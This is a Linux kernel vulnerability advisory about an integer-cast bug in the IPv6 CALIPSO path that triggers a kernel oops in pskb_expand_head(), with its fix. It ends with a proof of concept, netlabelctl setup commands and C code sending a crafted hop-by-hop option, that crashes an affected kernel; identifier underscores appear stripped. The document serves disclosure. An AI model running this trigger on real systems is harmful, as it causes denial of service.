In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskbexpandhead() as part of calipsoskbuffsetattr() There exists a kernel oops caused by a BUGON(nhead < 0) at net/core/skbuff.c:2232 in pskbexpandhead(). This bug is triggered as part of the calipsoskbuffsetattr() routine when skbcow() is passed headroom > INTMAX (i.e. (int)(skbheadroom(skb) + lendelta) < 0). The root cause of the bug is due to an implicit integer cast in _skbcow(). The check (headroom > skbheadroom(skb)) is meant to ensure that delta = headroom - skbheadroom(skb) is never negative, otherwise we will trigger a BUGON in pskbexpandhead(). However, if headroom > INTMAX and delta <= -NETSKBPAD, the check passes, delta becomes negative, and pskbexpandhead() is passed a negative value for nhead. Fix the trigger condition in calipsoskbuffsetattr(). Avoid passing "negative" headroom sizes to skbcow() within calipsoskbuffsetattr() by only using skbcow() to grow headroom. PoC: Using netlabelctl tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AFINET6, SOCKDGRAM, IPPROTOUDP); // setup msghdr int cmsgsize = 2; int cmsglen = 0x60; struct msghdr msg; struct sockaddrin6 destaddr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsglen); msg.msgname = &destaddr; msg.msgnamelen = sizeof(destaddr); msg.msgiov = NULL; msg.msgiovlen = 0; msg.msgcontrol = cmsg; msg.msgcontrollen = cmsglen; msg.msgflags = 0; // setup sockaddr destaddr.sin6family = AFINET6; destaddr.sin6port = htons(31337); destaddr.sin6flowinfo = htonl(31337); destaddr.sin6addr = in6addrloopback; destaddr.sin6scopeid = 31337; // setup cmsghdr cmsg->cmsglen = cmsglen; cmsg->cmsglevel = IPPROTOIPV6; cmsg->cmsgtype = IPV6HOPOPTS; char * hophdr = (char *)cmsg + sizeof(struct cmsghdr); hophdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);